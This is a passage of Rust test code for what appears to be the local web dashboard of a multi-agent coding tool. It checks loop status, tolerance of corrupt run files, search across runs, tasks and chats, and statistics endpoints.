18686            .as_u64()
18687            .expect("a loop revision");
18688
18689        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18690
18691        let after = f.get("/api/health").await.json()["loop_rev"]
18692            .as_u64()
18693            .expect("a loop revision");
18694        assert!(
18695            after > before,
18696            "the loop is in-process state, so this counter is the only thing \
18697             that tells a second device the first one started it: {before} -> \
18698             {after}"
18699        );
18700
18701        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18702    }
18703
18704    #[tokio::test]
18705    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18706        let f = Fixture::with_loop(launch_broken).await;
18707
18708        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18709        assert_eq!(
18710            res.status, 200,
18711            "starting it is not the failure: {}",
18712            res.body
18713        );
18714
18715        let view = settled(&f, |v| v["last_error"].is_string()).await;
18716        assert_eq!(
18717            view["running"], false,
18718            "a loop that died must not read as running, or the operator has \
18719             nothing to press: {view}"
18720        );
18721        assert_eq!(view["owned"], false);
18722        assert!(
18723            view["last_error"]
18724                .as_str()
18725                .is_some_and(|e| e.contains("read-only file system")),
18726            "the phone is where a loop that died at 3am is visible: {view}"
18727        );
18728
18729        // And it can be started again: the corpse was reaped, not left to
18730        // occupy the slot.
18731        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18732        assert_eq!(again.status, 200, "{}", again.body);
18733        assert!(
18734            again.json()["last_error"]
18735                .as_str()
18736                .is_none_or(|e| !e.contains("read-only file system")),
18737            "a fresh start does not keep showing why the last one died: {}",
18738            again.body
18739        );
18740    }
18741
18742    #[tokio::test]
18743    async fn a_newer_daemon_status_file_still_renders() {
18744        let f = Fixture::start().await;
18745        // A field this build has never heard of must not turn the status line
18746        // into a 500; that is the whole reason the reader is permissive.
18747        std::fs::write(
18748            f.home.path().join("daemon.json"),
18749            serde_json::json!({
18750                "schema": 2,
18751                "updated_at": Timestamp::now().to_string(),
18752                "idle": true,
18753                "surprise": { "nested": [1, 2, 3] },
18754            })
18755            .to_string(),
18756        )
18757        .expect("write daemon.json");
18758
18759        let health = f.get("/api/health").await;
18760
18761        assert_eq!(health.status, 200);
18762        assert_eq!(health.json()["daemon"]["running"], true);
18763    }
18764
18765    #[tokio::test]
18766    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18767        let f = Fixture::start().await;
18768        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18769        let broken = f.runs().join("20260902-140502-bad");
18770        std::fs::create_dir_all(&broken).expect("run dir");
18771        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18772
18773        let list = f.get("/api/runs").await;
18774        let detail = f.get("/api/runs/20260902-140502-bad").await;
18775
18776        assert_eq!(list.status, 200);
18777        let listed = list.json();
18778        let ids: Vec<&str> = listed
18779            .as_array()
18780            .expect("an array")
18781            .iter()
18782            .map(|r| r["id"].as_str().expect("an id"))
18783            .collect();
18784        assert_eq!(
18785            ids,
18786            vec!["20260902-140501-good"],
18787            "one unreadable run must not cost the operator the whole history"
18788        );
18789        assert_eq!(detail.status, 500);
18790        assert!(
18791            detail.json()["error"]
18792                .as_str()
18793                .is_some_and(|e| e.contains("run.json")),
18794            "the failure names the file to look at: {}",
18795            detail.body
18796        );
18797        // A skipped run has to be countable somewhere, or the UI shows an
18798        // empty history with nothing to explain it - which is exactly what a
18799        // directory full of older-schema runs looks like.
18800        let health = f.get("/api/health").await;
18801        assert_eq!(health.json()["runs_unreadable"], 1);
18802    }
18803
18804    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18805    #[tokio::test]
18806    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18807        let f = Fixture::start().await;
18808        let runs = f.runs();
18809        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18810        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18811        // Text three levels down, in a shape no current RunState has: an older
18812        // schema must still search.
18813        let path = runs.join("20260902-140502-bbbb").join("run.json");
18814        let mut v: serde_json::Value =
18815            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18816        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18817        std::fs::write(&path, v.to_string()).unwrap();
18818        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18819        std::fs::write(
18820            runs.join("20260902-140503-cccc").join("run.json"),
18821            "{ not json",
18822        )
18823        .unwrap();
18824
18825        let res = f.get("/api/search?scope=runs&q=quokka").await;
18826        assert_eq!(res.status, 200, "{}", res.body);
18827        let v = res.json();
18828        assert_eq!(v["total"], 1, "{v}");
18829        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18830        assert_eq!(v["hits"][0]["field"], "text");
18831        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18832        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18833        assert!(
18834            parts
18835                .iter()
18836                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18837            "{v}"
18838        );
18839        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18840        assert_eq!(
18841            flat, "The Quokka leaks across threads",
18842            "whitespace is collapsed"
18843        );
18844
18845        // Terms are ANDed, across different fields, case-insensitively.
18846        let both = f
18847            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18848            .await
18849            .json();
18850        assert_eq!(both["total"], 1, "{both}");
18851        let neither = f
18852            .get("/api/search?scope=runs&q=quokka%20zebra")
18853            .await
18854            .json();
18855        assert_eq!(neither["total"], 0, "{neither}");
18856        // Everything in the task statement is reachable, not only the row text.
18857        let stmt = f
18858            .get("/api/search?scope=runs&q=mobile%20first")
18859            .await
18860            .json();
18861        assert_eq!(stmt["total"], 2, "{stmt}");
18862        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18863        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18864    }
18865
18866    #[test]
18867    fn snippet_ignores_terms_longer_than_the_field() {
18868        let terms = ["ok".to_owned(), "elephant".to_owned()];
18869        let parts = snippet_of("ok", &terms);
18870        assert_eq!(
18871            parts,
18872            vec![SnippetPart {
18873                text: "ok".to_owned(),
18874                hit: true
18875            }]
18876        );
18877    }
18878
18879    #[test]
18880    fn snippet_marks_matches_longer_than_the_window() {
18881        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18882        let hit_len = |parts: &[SnippetPart]| -> usize {
18883            parts
18884                .iter()
18885                .filter(|p| p.hit)
18886                .map(|p| p.text.chars().count())
18887                .sum()
18888        };
18889        let total =
18890            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18891
18892        let long = "a".repeat(120);
18893        let parts = snippet_of(&long, std::slice::from_ref(&long));
18894        assert!(hit_len(&parts) > 0, "{parts:?}");
18895        assert!(total(&parts) <= cap);
18896
18897        let ja = "あ".repeat(130);
18898        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18899        assert!(hit_len(&parts) > 0, "{parts:?}");
18900        assert!(total(&parts) <= cap);
18901
18902        // A short hit, then one straddling the window's end.
18903        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18904        let term = format!("ab{}", "c".repeat(100));
18905        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18906        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18907        assert!(total(&parts) <= cap);
18908
18909        // Only the head matches: not highlighted.
18910        let text = format!("{}z", "a".repeat(119));
18911        let parts = snippet_of(&text, &["a".repeat(120)]);
18912        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18913    }
18914
18915    #[tokio::test]
18916    async fn search_caps_hits_and_snippet_length() {
18917        let f = Fixture::start().await;
18918        let runs = f.runs();
18919        for n in 0..(SEARCH_MAX_HITS + 5) {
18920            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18921        }
18922        let v = f.get("/api/search?scope=runs&q=web").await.json();
18923        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18924        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18925        assert_eq!(v["truncated"], true);
18926        // Every listed run hit carries its list row for the page's filters.
18927        assert!(
18928            v["hits"]
18929                .as_array()
18930                .unwrap()
18931                .iter()
18932                .all(|h| h["run"]["status"] == "merged")
18933        );
18934
18935        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18936        let parts = snippet_of(&long, &["needle".to_owned()]);
18937        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18938        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18939        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18940    }
18941
18942    #[tokio::test]
18943    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18944        let f = Fixture::start().await;
18945        let queue = f.queue();
18946        let mut t = Task::new(
18947            "short title".to_owned(),
18948            "line one\nthe hidden Armadillo detail".to_owned(),
18949            PathBuf::from("/repo/magi"),
18950            Source::Agent {
18951                run: "r1".to_owned(),
18952                node: "chat".to_owned(),
18953            },
18954        );
18955        t.last_error = Some("disk full on /tmp".to_owned());
18956        queue.put(&mut t).expect("file the task");
18957
18958        for (q, want) in [
18959            ("armadillo", 1),
18960            ("disk%20FULL", 1),
18961            ("chat", 1),
18962            ("queued", 1),
18963            ("short%20nothing", 0),
18964        ] {
18965            let v = f
18966                .get(&format!("/api/search?scope=tasks&q={q}"))
18967                .await
18968                .json();
18969            assert_eq!(v["total"], want, "{q}: {v}");
18970        }
18971        for bad in [
18972            "/api/search?scope=tasks&q=",
18973            "/api/search?scope=tasks&q=%20",
18974            "/api/search?scope=chats&q=",
18975            "/api/search?scope=chats&q=%20",
18976            "/api/search?scope=nope&q=a",
18977            "/api/search?q=a",
18978        ] {
18979            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18980        }
18981    }
18982
18983    /// Write one conversation file the way the store reads it back.
18984    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18985        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18986            .expect("seat value");
18987        let turns: Vec<serde_json::Value> = turns
18988            .iter()
18989            .map(|(who, body)| {
18990                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18991            })
18992            .collect();
18993        let doc = serde_json::json!({
18994            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18995            "status": status, "turns": turns,
18996            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18997            "seat": seat,
18998        });
18999        let dir = f.home.path().join("talks");
19000        std::fs::create_dir_all(&dir).expect("talks dir");
19001        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19002    }
19003
19004    #[test]
19005    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19006        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19007            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19008            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19009            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19010            "seat": crate::agent::SeatState::new("talk", "test", 1)
19011        })).unwrap();
19012        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19013        talk.title = Some(talk::ChatTitle {
19014            text: "最近の話題".into(),
19015            source: talk::TitleSource::Generated,
19016        });
19017        let doc = talk_search_doc(&talk);
19018        assert_eq!(doc["title"], "最近の話題");
19019        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19020        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19021        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19022    }
19023
19024    #[test]
19025    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19026        let talk: Talk = serde_json::from_value(serde_json::json!({
19027            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19028            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19029            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19030                "messages":[{"body":"First message", "attachments":[], "reply":null},
19031                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19032                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19033            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19034            "seat": crate::agent::SeatState::new("talk", "test", 1)
19035        })).unwrap();
19036        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19037        let target = hit.target.unwrap();
19038        assert_eq!((target.turn, target.message), (0, 1));
19039        assert_eq!(target.text, chat_text_key("Search 運用"));
19040        assert_eq!(
19041            hit.snippet,
19042            snippet_of("Search 運用", &search_terms("運用 Another"))
19043        );
19044        assert!(
19045            search_chat(&search_terms("Saved"), &talk)
19046                .unwrap()
19047                .target
19048                .is_none()
19049        );
19050        assert!(
19051            search_chat(&search_terms("ab12"), &talk)
19052                .unwrap()
19053                .target
19054                .is_none()
19055        );
19056        // All terms may still match across separate display rows.
19057        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19058        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19059    }
19060
19061    #[test]
19062    fn chat_search_targets_opener_derived_titles() {
19063        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19064            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19065            "status": "open", "turns": [
19066                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19067                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19068                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19069            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19070            "seat": crate::agent::SeatState::new("talk", "test", 1)
19071        }))
19072        .unwrap();
19073        let terms = search_terms("運用");
19074        let hit = search_chat(&terms, &talk).unwrap();
19075        assert_eq!(hit.field, "title");
19076        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19077        let target = hit.target.unwrap();
19078        assert_eq!((target.turn, target.message), (1, 0));
19079        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19080        // A blank first send can put the opener line in a later display row.
19081        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19082            {"body":"", "attachments":[], "reply":null},
19083            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19084        ]))
19085        .unwrap();
19086        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19087        assert_eq!((target.turn, target.message), (1, 1));
19088        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19089        talk.title = Some(talk::ChatTitle {
19090            text: "運用について".into(),
19091            source: talk::TitleSource::Manual,
19092        });
19093        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19094    }
19095
19096    #[tokio::test]
19097    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19098        let f = Fixture::start().await;
19099        write_talk(
19100            &f,
19101            "20260901-000001-aaaa",
19102            "open",
19103            &[
19104                (
19105                    "operator",
19106                    "\n  Why does the Pangolin cache expire?\nsecond line",
19107                ),
19108                ("agent", "Because the TTL is thirty seconds."),
19109            ],
19110        );
19111        write_talk(
19112            &f,
19113            "20260901-000002-bbbb",
19114            "closed",
19115            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19116        );
19117        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19118
19119        let search = |q: &'static str| {
19120            let f = &f;
19121            async move {
19122                f.get(&format!("/api/search?scope=chats&q={q}"))
19123                    .await
19124                    .json()
19125            }
19126        };
19127
19128        let v = search("PANGOLIN").await;
19129        assert_eq!(v["scope"], "chats");
19130        assert_eq!(v["total"], 1, "{v}");
19131        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19132        assert_eq!(v["hits"][0]["field"], "title");
19133        assert_eq!(v["unreadable"], 1, "{v}");
19134        let marked: Vec<&str> = v["hits"][0]["snippet"]
19135            .as_array()
19136            .unwrap()
19137            .iter()
19138            .filter(|p| p["hit"] == true)
19139            .map(|p| p["text"].as_str().unwrap())
19140            .collect();
19141        assert_eq!(marked, ["Pangolin"]);
19142
19143        // An agent turn, in a closed conversation.
19144        let v = search("zebra").await;
19145        assert_eq!(v["total"], 1, "{v}");
19146        assert_eq!(v["hits"][0]["field"], "agent");
19147        // Words may sit in different turns; all must be present.
19148        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19149        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19150        // Bookkeeping is not searched.
19151        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19152            assert_eq!(search(q).await["total"], 0, "{q}");
19153        }
19154        // The first line only is the title; the second line is still a turn.
19155        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19156        // Open conversations are listed before closed ones.
19157        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19158
19159        let v = f.get("/api/search?scope=nope&q=a").await;
19160        assert_eq!(v.status, 400);
19161        assert!(
19162            v.body.contains("scope must be runs, tasks or chats"),
19163            "{}",
19164            v.body
19165        );
19166    }
19167
19168    #[test]
19169    fn a_question_card_links_a_task_id_to_the_task_page() {
19170        let start = APP_JS
19171            .find("function updateAskCard(")
19172            .expect("updateAskCard exists");
19173        let body = &APP_JS[start..];
19174        let body = &body[..body.find("\n}\n").expect("function end")];
19175        assert!(body.contains("question.run_is_task"));
19176        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19177        assert!(body.contains("`#/runs/${question.run}`"));
19178        assert!(body.contains("\"task\" : \"run\""));
19179    }
19180
19181    #[test]
19182    fn plain_text_message_surfaces_go_through_linkify() {
19183        assert!(APP_JS.contains("function linkify("));
19184        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19185        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19186        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19187        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19188        assert!(!APP_JS.contains("innerHTML = text"));
19189    }
19190
19191    #[test]
19192    fn implementation_rate_views_keep_independent_samples() {
19193        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19194            let a = stats::AgentStats {
19195                competitive_entered: competitive_n,
19196                competitive_wins: usize::from(competitive_n > 0),
19197                solo_entered: solo_n,
19198                solo_adopted: 2 * usize::from(solo_n > 0),
19199                ..Default::default()
19200            };
19201            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19202            for (key, n, numerator) in [
19203                ("competitive_win_rate", competitive_n, a.competitive_wins),
19204                ("solo_adoption_rate", solo_n, a.solo_adopted),
19205            ] {
19206                if n == 0 {
19207                    assert!(v[key].is_null());
19208                } else {
19209                    assert_eq!(v[key]["denominator"], n);
19210                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19211                }
19212            }
19213        }
19214        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19215        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19216        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19217        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19218    }
19219
19220    #[test]
19221    fn stats_bars_share_one_id_keyed_plan() {
19222        let start = APP_JS
19223            .find("function statsBarRows(")
19224            .expect("statsBarRows exists");
19225        let body = &APP_JS[start..];
19226        let body = &body[..body.find("\n}\n").expect("function end")];
19227        assert!(body.contains("statsBarPlan(rows)"));
19228        assert!(body.contains("statsAgentTone(row.agent)"));
19229        assert!(!body.contains("candTone(i)"));
19230        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19231        for root in [
19232            "stats-agents-bars",
19233            "stats-solo-bars",
19234            "stats-reviewers-bars",
19235        ] {
19236            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19237        }
19238    }
19239
19240    #[test]
19241    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19242        let start = APP_JS
19243            .find("function renderStatsReviewerScatter(")
19244            .expect("renderStatsReviewerScatter exists");
19245        let body = &APP_JS[start..];
19246        let body = &body[..body.find("\n}\n").expect("function end")];
19247        assert!(body.contains("statsScatterPlan(reviewers)"));
19248        assert!(body.contains("statsAgentTone(d.agent)"));
19249        assert!(APP_JS.contains("function statsScatterPlan("));
19250        assert!(
19251            APP_JS.contains("d.submitted < STATS_LOW_N")
19252                || APP_JS.contains("r.submitted < STATS_LOW_N")
19253        );
19254        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19255        assert!(APP_CSS.contains(".precision-scatter"));
19256    }
19257
19258    #[test]
19259    fn advisor_reflection_is_drawn_as_stacked_segments() {
19260        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19261        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19262        let html = include_str!("../assets/ui/index.html");
19263        assert!(html.contains("Approximate"));
19264        for label in ["reflected strongly", "faint", "no proposal"] {
19265            assert!(html.contains(label));
19266        }
19267        let css = include_str!("../assets/ui/app.css");
19268        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19269            assert!(css.contains(&format!(".{c} {{")));
19270        }
19271    }
19272
19273    #[test]
19274    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19275        assert!(APP_JS.contains("function statsDailyPlan("));
19276        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19277        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19278    }
19279
19280    #[test]
19281    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19282        let start = APP_JS
19283            .find("function scheduleSearch(")
19284            .expect("scheduleSearch exists");
19285        let body = &APP_JS[start..];
19286        let body = &body[..body.find("\n}\n").expect("function end")];
19287        assert!(body.contains("s.seq += 1"));
19288    }
19289
19290    /// The dashboard reads every run's state itself rather than trusting a
19291    /// separately-maintained count, so an unreadable run must be counted the
19292    /// same way `/api/health` counts it - never silently dropped the way the
19293    /// CLI's own `stats::load_all` drops it.
19294    #[tokio::test]
19295    async fn stats_runs_unreadable_matches_health() {
19296        let f = Fixture::start().await;
19297        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19298        let broken = f.runs().join("20260902-140502-bad");
19299        std::fs::create_dir_all(&broken).expect("run dir");
19300        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19301
19302        let stats = f.get("/api/stats").await;
19303        let health = f.get("/api/health").await;
19304
19305        assert_eq!(stats.status, 200);
19306        assert_eq!(stats.json()["totals"]["runs"], 1);
19307        assert_eq!(stats.json()["runs_unreadable"], 1);
19308        assert_eq!(
19309            stats.json()["runs_unreadable"],
19310            health.json()["runs_unreadable"],
19311            "the dashboard and /api/health must never disagree about how many \
19312             runs could not be read"
19313        );
19314    }
19315
19316    #[tokio::test]
19317    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19318        let f = Fixture::start().await;
19319        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19320        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19321        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19322
19323        let totals = &f.get("/api/stats").await.json()["totals"];
19324        assert_eq!(totals["runs"], 3);
19325        assert_eq!(totals["merged"], 1);
19326        assert_eq!(totals["stalled"], 1);
19327        assert_eq!(totals["in_progress"], 1);
19328        // A stalled run must never read as blocked/merged/ready - it is its
19329        // own bucket, not folded into a "decided" one.
19330        assert_eq!(totals["blocked"], 0);
19331        assert_eq!(totals["ready"], 0);
19332    }
19333
19334    #[tokio::test]
19335    async fn stats_advisors_report_proposals_and_reflection() {
19336        use crate::advise::{Advice, AdvisorRecord, Reflection};
19337        use crate::verdict::Proposal;
19338
19339        let f = Fixture::start().await;
19340        let mut state = RunState::new(
19341            PathBuf::from("/repo/magi"),
19342            "main".to_owned(),
19343            "0123456789abcdef".to_owned(),
19344            "task".to_owned(),
19345            Config::default(),
19346        );
19347        state.id = "20260902-140501-a".to_owned();
19348        state.status = RunStatus::Merged;
19349        state.advice = Some(Advice {
19350            records: vec![
19351                AdvisorRecord {
19352                    seat: "advisor-1".to_owned(),
19353                    agent: "alpha".to_owned(),
19354                    proposal: Some(Proposal {
19355                        approach: "do it".to_owned(),
19356                        key_tradeoff: "speed over memory".to_owned(),
19357                        risks: Vec::new(),
19358                        touches: Vec::new(),
19359                        why_not_naive: "breaks under load".to_owned(),
19360                    }),
19361                    error: None,
19362                    duration_ms: 0,
19363                    reflection: Reflection::Strong,
19364                },
19365                AdvisorRecord {
19366                    seat: "advisor-2".to_owned(),
19367                    agent: "alpha".to_owned(),
19368                    proposal: None,
19369                    error: Some("timed out".to_owned()),
19370                    duration_ms: 0,
19371                    reflection: Reflection::Absent,
19372                },
19373            ],
19374            synthesis: Some("blended brief".to_owned()),
19375        });
19376        let dir = f.runs().join(&state.id);
19377        std::fs::create_dir_all(&dir).expect("run dir");
19378        std::fs::write(
19379            dir.join("run.json"),
19380            serde_json::to_string_pretty(&state).expect("serialize run"),
19381        )
19382        .expect("write run.json");
19383
19384        // `alpha` is in no roster here; this test is about the rates.
19385        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19386        let alpha = advisors
19387            .as_array()
19388            .expect("an array")
19389            .iter()
19390            .find(|a| a["agent"] == "alpha")
19391            .expect("alpha row");
19392        assert_eq!(alpha["seated"], 2);
19393        assert_eq!(alpha["proposed"], 1);
19394        assert_eq!(alpha["absent"], 1);
19395        assert_eq!(alpha["strong"], 1);
19396        assert_eq!(alpha["faint"], 0);
19397        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19398    }
19399
19400    #[tokio::test]
19401    async fn stats_hides_agents_outside_the_roster_unless_all() {
19402        use crate::run::Candidate;
19403        let repo = TempDir::new().expect("repo dir");
19404        std::fs::write(
19405            repo.path().join("magi.toml"),
19406            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19407        )
19408        .expect("magi.toml");
19409        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19410        let mut state = RunState::new(
19411            PathBuf::from("/repo/magi"),
19412            "main".to_owned(),
19413            "0123456789abcdef".to_owned(),
19414            "task".to_owned(),
19415            Config::default(),
19416        );
19417        state.id = "20260902-140501-a".to_owned();
19418        state.status = RunStatus::Merged;
19419        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19420            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19421                "index": 0, "label": label.to_string(), "agent": agent,
19422                "branch": "b", "worktree": "/w",
19423            }))
19424            .expect("candidate");
19425            c.label = label;
19426            state.candidates.push(c);
19427        }
19428        let dir = f.runs().join(&state.id);
19429        std::fs::create_dir_all(&dir).expect("run dir");
19430        std::fs::write(
19431            dir.join("run.json"),
19432            serde_json::to_string_pretty(&state).expect("serialize run"),
19433        )
19434        .expect("write run.json");
19435
19436        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19437            v["agents"]
19438                .as_array()
19439                .expect("array")
19440                .iter()
19441                .map(|a| a["agent"].as_str().unwrap().to_owned())
19442                .collect()
19443        };
19444        let hidden = f.get("/api/stats").await.json();
19445        assert_eq!(agents_of(&hidden), ["keep"]);
19446        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19447        assert_eq!(hidden["totals"]["runs"], 1);
19448
19449        let all = f.get("/api/stats?all=true").await.json();
19450        assert_eq!(agents_of(&all).len(), 2);
19451        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19452        // Verify competitive and solo keys exist on agent entries
19453        let keep_agent = all["agents"]
19454            .as_array()
19455            .unwrap()
19456            .iter()
19457            .find(|a| a["agent"] == "keep")
19458            .unwrap();
19459        assert_eq!(keep_agent["competitive_entered"], 1);
19460        assert_eq!(keep_agent["competitive_wins"], 0);
19461        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19462        assert_eq!(keep_agent["solo_entered"], 0);
19463        assert_eq!(keep_agent["solo_adopted"], 0);
19464        assert!(keep_agent["solo_adoption_rate"].is_null());
19465    }
19466
19467    #[tokio::test]
19468    async fn stats_release_bumps_split_clean_from_attention() {
19469        use crate::run::ReleaseBump;
19470
19471        let f = Fixture::start().await;
19472
19473        let mut clean = RunState::new(
19474            PathBuf::from("/repo/magi"),
19475            "main".to_owned(),
19476            "0123456789abcdef".to_owned(),
19477            "task".to_owned(),
19478            Config::default(),
19479        );
19480        clean.id = "20260902-140501-a".to_owned();
19481        clean.status = RunStatus::Merged;
19482        clean.release_bump = Some(ReleaseBump {
19483            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19484            version: Some("1.0.0".to_owned()),
19485            automerge_enabled: true,
19486            merged_directly: false,
19487            local: false,
19488            release: None,
19489            problem: None,
19490            action_required: None,
19491            skipped: None,
19492        });
19493
19494        let mut blocked = RunState::new(
19495            PathBuf::from("/repo/magi"),
19496            "main".to_owned(),
19497            "0123456789abcdef".to_owned(),
19498            "task".to_owned(),
19499            Config::default(),
19500        );
19501        blocked.id = "20260902-140502-b".to_owned();
19502        blocked.status = RunStatus::Merged;
19503        blocked.release_bump = Some(ReleaseBump {
19504            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19505            version: Some("1.0.1".to_owned()),
19506            automerge_enabled: false,
19507            merged_directly: false,
19508            local: false,
19509            release: None,
19510            problem: Some("checks red".to_owned()),
19511            action_required: Some("look at the PR".to_owned()),
19512            skipped: None,
19513        });
19514
19515        for state in [&clean, &blocked] {
19516            let dir = f.runs().join(&state.id);
